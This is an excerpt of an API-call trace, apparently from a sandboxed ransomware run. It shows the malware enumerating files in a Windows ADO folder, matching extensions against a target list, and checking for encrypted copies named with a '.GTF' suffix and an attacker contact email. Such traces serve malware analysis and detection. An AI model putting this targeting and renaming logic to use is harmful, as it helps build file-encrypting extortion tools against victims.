	[0089.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0089.931] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=70656) returned 1
	[0089.931] CloseHandle (hObject=0x2fc) returned 1
	[0089.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20
	[0089.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.931] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0089.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0089.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0089.931] lstrlenW (lpString=".doc") returned 4
	[0089.931] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0089.931] lstrlenW (lpString=".docx") returned 5
	[0089.931] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1
	[0089.931] lstrlenW (lpString=".pdf") returned 4
	[0089.931] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0089.931] lstrlenW (lpString=".xls") returned 4
	[0089.931] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0089.931] lstrlenW (lpString=".xlsx") returned 5
	[0089.931] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1
	[0089.931] lstrlenW (lpString=".ppt") returned 4
	[0089.931] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0089.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0089.931] lstrlenW (lpString=".zip") returned 4
	[0089.931] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0089.931] lstrlenW (lpString=".rar") returned 4
	[0089.932] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0089.932] lstrlenW (lpString=".bz2") returned 4
	[0089.932] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0089.932] lstrlenW (lpString=".7z") returned 3
	[0089.932] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0089.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0089.932] lstrlenW (lpString=".dbf") returned 4
	[0089.932] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0089.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0089.932] lstrlenW (lpString=".1cd") returned 4
	[0089.932] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0089.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0089.932] lstrlenW (lpString=".jpg") returned 4
	[0089.932] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0089.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0089.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0089.932] lstrlenW (lpString=".doc") returned 4
	[0089.932] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0089.932] lstrlenW (lpString=".docx") returned 5
	[0089.932] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1
	[0089.932] lstrlenW (lpString=".pdf") returned 4
	[0089.932] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0089.932] lstrlenW (lpString=".xls") returned 4
	[0089.932] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0089.932] lstrlenW (lpString=".xlsx") returned 5
	[0089.932] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1
	[0089.932] lstrlenW (lpString=".ppt") returned 4
	[0089.932] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0089.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0089.932] lstrlenW (lpString=".zip") returned 4
	[0089.932] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0089.932] lstrlenW (lpString=".rar") returned 4
	[0089.932] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0089.933] lstrlenW (lpString=".bz2") returned 4
	[0089.933] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0089.933] lstrlenW (lpString=".7z") returned 3
	[0089.933] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0089.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0089.933] lstrlenW (lpString=".dbf") returned 4
	[0089.933] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0089.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0089.933] lstrlenW (lpString=".1cd") returned 4
	[0089.933] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0089.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0089.933] lstrlenW (lpString=".jpg") returned 4
	[0089.933] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0089.933] lstrcmpiW (lpString1=".tlb", lpString2=".GTF") returned 1
	[0089.933] lstrlenW (lpString="msado60.tlb") returned 11
	[0089.933] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0089.934] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=70656) returned 1
	[0089.934] CloseHandle (hObject=0x2fc) returned 1
	[0089.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb")) returned 0x20
	[0089.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0089.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0089.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0089.935] lstrlenW (lpString=".doc") returned 4
	[0089.935] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0089.935] lstrlenW (lpString=".docx") returned 5
	[0089.935] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0089.935] lstrlenW (lpString=".pdf") returned 4
	[0089.935] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0089.935] lstrlenW (lpString=".xls") returned 4
	[0089.935] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0089.935] lstrlenW (lpString=".xlsx") returned 5
	[0089.935] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0089.935] lstrlenW (lpString=".ppt") returned 4
	[0089.935] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0089.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0089.935] lstrlenW (lpString=".zip") returned 4
	[0089.935] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0089.935] lstrlenW (lpString=".rar") returned 4
	[0089.935] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0089.935] lstrlenW (lpString=".bz2") returned 4
	[0089.935] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0089.935] lstrlenW (lpString=".7z") returned 3
	[0089.935] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0089.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0089.935] lstrlenW (lpString=".dbf") returned 4
	[0089.935] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0089.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0089.935] lstrlenW (lpString=".1cd") returned 4
	[0089.935] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0089.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0089.935] lstrlenW (lpString=".jpg") returned 4
	[0089.935] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0089.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0089.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0089.936] lstrlenW (lpString=".doc") returned 4
	[0089.936] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0089.936] lstrlenW (lpString=".docx") returned 5
	[0089.936] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0089.936] lstrlenW (lpString=".pdf") returned 4
	[0089.936] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0089.936] lstrlenW (lpString=".xls") returned 4
	[0089.936] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0089.936] lstrlenW (lpString=".xlsx") returned 5
	[0089.936] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0089.936] lstrlenW (lpString=".ppt") returned 4
	[0089.936] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0089.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0089.936] lstrlenW (lpString=".zip") returned 4
	[0089.936] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0089.936] lstrlenW (lpString=".rar") returned 4
	[0089.936] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0089.936] lstrlenW (lpString=".bz2") returned 4
	[0089.936] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0089.936] lstrlenW (lpString=".7z") returned 3
	[0089.936] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0089.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0089.936] lstrlenW (lpString=".dbf") returned 4
	[0089.936] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0089.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0089.936] lstrlenW (lpString=".1cd") returned 4
	[0089.936] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0089.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0089.936] lstrlenW (lpString=".jpg") returned 4
	[0089.936] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0089.937] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0089.937] lstrlenW (lpString="msadomd.dll") returned 11
	[0089.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0089.938] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=364032) returned 1
	[0089.938] CloseHandle (hObject=0x2fc) returned 1
	[0089.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll")) returned 0x20
	[0089.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0089.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0089.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0089.939] lstrlenW (lpString=".doc") returned 4
	[0089.939] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.939] lstrlenW (lpString=".docx") returned 5
	[0089.939] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0089.939] lstrlenW (lpString=".pdf") returned 4
	[0089.939] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.939] lstrlenW (lpString=".xls") returned 4
	[0089.939] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.939] lstrlenW (lpString=".xlsx") returned 5
	[0089.939] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0089.939] lstrlenW (lpString=".ppt") returned 4
	[0089.939] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0089.939] lstrlenW (lpString=".zip") returned 4
	[0089.939] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.939] lstrlenW (lpString=".rar") returned 4
	[0089.939] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.939] lstrlenW (lpString=".bz2") returned 4
	[0089.939] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.939] lstrlenW (lpString=".7z") returned 3
	[0089.939] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0089.939] lstrlenW (lpString=".dbf") returned 4
	[0089.939] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0089.939] lstrlenW (lpString=".1cd") returned 4
	[0089.939] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0089.939] lstrlenW (lpString=".jpg") returned 4
	[0089.939] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0089.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0089.939] lstrlenW (lpString=".doc") returned 4
	[0089.940] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.940] lstrlenW (lpString=".docx") returned 5
	[0089.940] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0089.940] lstrlenW (lpString=".pdf") returned 4
	[0089.940] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.940] lstrlenW (lpString=".xls") returned 4
	[0089.940] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.940] lstrlenW (lpString=".xlsx") returned 5
	[0089.940] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0089.940] lstrlenW (lpString=".ppt") returned 4
	[0089.940] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0089.940] lstrlenW (lpString=".zip") returned 4
	[0089.940] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.940] lstrlenW (lpString=".rar") returned 4
	[0089.940] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.940] lstrlenW (lpString=".bz2") returned 4
	[0089.940] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.940] lstrlenW (lpString=".7z") returned 3
	[0089.940] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0089.940] lstrlenW (lpString=".dbf") returned 4
	[0089.940] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0089.940] lstrlenW (lpString=".1cd") returned 4
	[0089.940] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0089.940] lstrlenW (lpString=".jpg") returned 4
	[0089.940] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.940] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0089.941] lstrlenW (lpString="msador15.dll") returned 12
	[0089.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0089.942] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=45568) returned 1
	[0089.942] CloseHandle (hObject=0x2fc) returned 1
	[0089.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll")) returned 0x20
	[0089.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0089.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53
	[0089.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53
	[0089.943] lstrlenW (lpString=".doc") returned 4
	[0089.943] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.943] lstrlenW (lpString=".docx") returned 5
	[0089.943] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0089.943] lstrlenW (lpString=".pdf") returned 4
	[0089.943] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.943] lstrlenW (lpString=".xls") returned 4
	[0089.943] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.943] lstrlenW (lpString=".xlsx") returned 5
	[0089.943] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0089.943] lstrlenW (lpString=".ppt") returned 4
	[0089.943] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53
	[0089.943] lstrlenW (lpString=".zip") returned 4
	[0089.943] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.943] lstrlenW (lpString=".rar") returned 4
	[0089.943] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.943] lstrlenW (lpString=".bz2") returned 4
	[0089.943] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.943] lstrlenW (lpString=".7z") returned 3
	[0089.943] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53
	[0089.943] lstrlenW (lpString=".dbf") returned 4
	[0089.943] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53
	[0089.943] lstrlenW (lpString=".1cd") returned 4
	[0089.943] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53
	[0089.943] lstrlenW (lpString=".jpg") returned 4
	[0089.943] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53
	[0089.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53
	[0089.944] lstrlenW (lpString=".doc") returned 4
	[0089.944] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.944] lstrlenW (lpString=".docx") returned 5
	[0089.944] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0089.944] lstrlenW (lpString=".pdf") returned 4
	[0089.944] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.944] lstrlenW (lpString=".xls") returned 4
	[0089.944] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.944] lstrlenW (lpString=".xlsx") returned 5
	[0089.944] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0089.944] lstrlenW (lpString=".ppt") returned 4
	[0089.944] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53
	[0089.944] lstrlenW (lpString=".zip") returned 4
	[0089.944] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.944] lstrlenW (lpString=".rar") returned 4
	[0089.944] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.944] lstrlenW (lpString=".bz2") returned 4
	[0089.944] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.944] lstrlenW (lpString=".7z") returned 3
	[0089.944] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53
	[0089.944] lstrlenW (lpString=".dbf") returned 4
	[0089.944] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53
	[0089.944] lstrlenW (lpString=".1cd") returned 4
	[0089.944] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53
	[0089.944] lstrlenW (lpString=".jpg") returned 4
	[0089.944] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.945] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0089.945] lstrlenW (lpString="msadrh15.dll") returned 12
	[0089.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0089.946] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=91136) returned 1
	[0089.946] CloseHandle (hObject=0x2fc) returned 1
	[0089.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll")) returned 0x20
	[0089.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0089.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0089.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0089.946] lstrlenW (lpString=".doc") returned 4
	[0089.946] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.946] lstrlenW (lpString=".docx") returned 5
	[0089.946] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0089.946] lstrlenW (lpString=".pdf") returned 4
	[0089.946] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.946] lstrlenW (lpString=".xls") returned 4
	[0089.946] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.946] lstrlenW (lpString=".xlsx") returned 5
	[0089.947] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0089.947] lstrlenW (lpString=".ppt") returned 4
	[0089.947] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0089.947] lstrlenW (lpString=".zip") returned 4
	[0089.947] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.947] lstrlenW (lpString=".rar") returned 4
	[0089.947] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.947] lstrlenW (lpString=".bz2") returned 4
	[0089.947] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.947] lstrlenW (lpString=".7z") returned 3
	[0089.947] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0089.947] lstrlenW (lpString=".dbf") returned 4
	[0089.947] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0089.947] lstrlenW (lpString=".1cd") returned 4
	[0089.947] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0089.947] lstrlenW (lpString=".jpg") returned 4
	[0089.947] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0089.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0089.947] lstrlenW (lpString=".doc") returned 4
	[0089.947] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.947] lstrlenW (lpString=".docx") returned 5
	[0089.947] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0089.947] lstrlenW (lpString=".pdf") returned 4
	[0089.947] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.947] lstrlenW (lpString=".xls") returned 4
